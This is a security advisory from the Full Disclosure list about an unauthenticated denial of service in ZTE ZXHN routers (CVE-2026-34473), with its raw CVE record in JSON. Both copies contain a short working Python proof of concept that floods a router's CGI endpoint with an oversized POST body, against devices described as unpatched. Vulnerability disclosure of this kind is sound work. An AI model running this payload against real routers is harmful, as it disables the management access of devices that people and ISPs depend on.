Description (en)
-----BEGIN SECURITY ADVISORY-----
Advisory ID: MONX-2026-001
CVE ID: CVE-2026-34473
Title: Unauthenticated Denial of Service via Oversized POST Body
in ZTE Router CGILua Parser
Affected: 17+ ZTE ZXHN router models (~140,000 publicly exposed
devices)
CVSS Score: 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
Date: 2026-05-20
Author: Mina Nageh Salalma (Monx Research)
Contact: minanageh379 () gmail com
Public URL:
https://github.com/minanagehsalalma/cve-2026-34473-unauthenticated-dos-zte-routers
MITRE: https://www.cve.org/CVERecord?id=CVE-2026-34473
AFFECTED PRODUCTS
-----------------
17+ ZTE ZXHN router models sharing the CGILua firmware stack.
Estimated 140,000+ devices publicly reachable on the Internet at time of
research.
VULNERABILITY DESCRIPTION
--------------------------
The CGILua post.lua parser used in ZTE ZXHN routers does not enforce an
upper
bound on the body size of application/x-www-form-urlencoded POST requests.
An unauthenticated attacker can crash or freeze the router's web management
service by sending a single HTTP POST request with an oversized body to any
CGI endpoint. No authentication, session cookie, or prior access is
required.
ROOT CAUSE
----------
Firmware analysis of extracted squashfs images confirms that post.lua reads
the entire POST body into memory before parsing. There is no Content-Length
check or body-size limiter before the allocation occurs. Oversized payloads
cause the LuCI/CGILua process to exhaust memory or fault, taking down the
web management interface until the device is power-cycled.
PROOF OF CONCEPT
----------------
import requests
url = "http://TARGET_IP/cgi-bin/luci";
payload = "a=" + "A" * (256 * 1024) # 256 KB
headers = {"Content-Type": "application/x-www-form-urlencoded"}
try:
r = requests.post(url, data=payload, headers=headers, timeout=15)
print(f"HTTP {r.status_code}")
except requests.exceptions.Timeout:
print("Timeout - DoS successful")
except requests.exceptions.ConnectionError:
print("Connection dropped - DoS successful")
IMPACT
------
An unauthenticated attacker on the LAN or WAN (if management interface is
publicly exposed, as is the case for ~140,000 devices) can permanently
disable remote management access, forcing a physical reboot to restore
access.
ISP-deployed devices with no physical access for end users are especially
vulnerable.
TIMELINE
--------
2024-05: Local validation on hardware. Firmware extraction and root-cause
confirmed.
2024-05: Report sent to ZTE PSIRT.
2025-01: Escalated to MITRE after ZTE failed to respond.
2026-03: MITRE assigned CVE-2026-34473.
2026-05-20: Full public disclosure.
VENDOR RESPONSE
---------------
ZTE PSIRT did not respond to the initial report. MITRE assigned the CVE
directly. No patch has been issued.
CREDITS
-------
Mina Nageh Salalma (Monx Research)
https://github.com/minanagehsalalma
-----END SECURITY ADVISORY-----
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/Raw JSON
{
"containers": {
"cna": {
"affected": [
{
"product": "unknown",
"vendor": "unknown",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "m.nageh"
}
],
"descriptions": [
{
"lang": "en",
"value": "-----BEGIN SECURITY ADVISORY-----\n\nAdvisory ID: MONX-2026-001\nCVE ID: CVE-2026-34473\nTitle: Unauthenticated Denial of Service via Oversized POST Body\nin ZTE Router CGILua Parser\nAffected: 17+ ZTE ZXHN router models (~140,000 publicly exposed\ndevices)\nCVSS Score: 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)\nDate: 2026-05-20\nAuthor: Mina Nageh Salalma (Monx Research)\nContact: minanageh379 () gmail com\nPublic URL:\nhttps://github.com/minanagehsalalma/cve-2026-34473-unauthenticated-dos-zte-routers\nMITRE: https://www.cve.org/CVERecord?id=CVE-2026-34473\n\n\nAFFECTED PRODUCTS\n-----------------\n17+ ZTE ZXHN router models sharing the CGILua firmware stack.\nEstimated 140,000+ devices publicly reachable on the Internet at time of\nresearch.\n\n\nVULNERABILITY DESCRIPTION\n--------------------------\nThe CGILua post.lua parser used in ZTE ZXHN routers does not enforce an\nupper\nbound on the body size of application/x-www-form-urlencoded POST requests.\nAn unauthenticated attacker can crash or freeze the router's web management\nservice by sending a single HTTP POST request with an oversized body to any\nCGI endpoint. No authentication, session cookie, or prior access is\nrequired.\n\n\nROOT CAUSE\n----------\nFirmware analysis of extracted squashfs images confirms that post.lua reads\nthe entire POST body into memory before parsing. There is no Content-Length\ncheck or body-size limiter before the allocation occurs. Oversized payloads\ncause the LuCI/CGILua process to exhaust memory or fault, taking down the\nweb management interface until the device is power-cycled.\n\n\nPROOF OF CONCEPT\n----------------\n import requests\n url = \"http://TARGET_IP/cgi-bin/luci\";\n payload = \"a=\" + \"A\" * (256 * 1024) # 256 KB\n headers = {\"Content-Type\": \"application/x-www-form-urlencoded\"}\n try:\n r = requests.post(url, data=payload, headers=headers, timeout=15)\n print(f\"HTTP {r.status_code}\")\n except requests.exceptions.Timeout:\n print(\"Timeout - DoS successful\")\n except requests.exceptions.ConnectionError:\n print(\"Connection dropped - DoS successful\")\n\n\nIMPACT\n------\nAn unauthenticated attacker on the LAN or WAN (if management interface is\npublicly exposed, as is the case for ~140,000 devices) can permanently\ndisable remote management access, forcing a physical reboot to restore\naccess.\nISP-deployed devices with no physical access for end users are especially\nvulnerable.\n\n\nTIMELINE\n--------\n2024-05: Local validation on hardware. Firmware extraction and root-cause\nconfirmed.\n2024-05: Report sent to ZTE PSIRT.\n2025-01: Escalated to MITRE after ZTE failed to respond.\n2026-03: MITRE assigned CVE-2026-34473.\n2026-05-20: Full public disclosure.\n\n\nVENDOR RESPONSE\n---------------\nZTE PSIRT did not respond to the initial report. MITRE assigned the CVE\ndirectly. No patch has been issued.\n\n\nCREDITS\n-------\nMina Nageh Salalma (Monx Research)\nhttps://github.com/minanagehsalalma\n\n-----END SECURITY ADVISORY-----\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives & RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-09-11T07:55:58Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/May/18"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/May/18"
},
{
"url": "http://TARGET_IP/cgi-bin/luci\""
},
{
"url": "https://github.com/minanagehsalalma"
},
{
"url": "https://github.com/minanagehsalalma/cve-2026-34473-unauthenticated-dos-zte-routers"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://www.cve.org/CVERecord?id=CVE-2026-34473"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/May/18"
],
"discovery": "EXTERNAL"
},
"title": "[SECURITY ADVISORY] CVE-2026-34473 - Unauthenticated DoS in 17+ ZTE Router Models (140K+ Devices)",
"x_gcve": [
{
"recordType": "analysis",
"relationships": [
{
"destId": "CVE-2026-34473",
"type": "related"
}
],
"vulnId": "GCVE-1988-2026-0370",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/May/18",
"automated": true,
"contentSha256": "0bde7d633167526f5023053fdf061290e62adf3538e7a3b5481b6619dd73efb0",
"evidenceScore": 7,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/May/18",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-05-20T14:31:38Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-11T07:55:58Z",
"dateUpdated": "2026-09-11T07:55:58Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0370"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}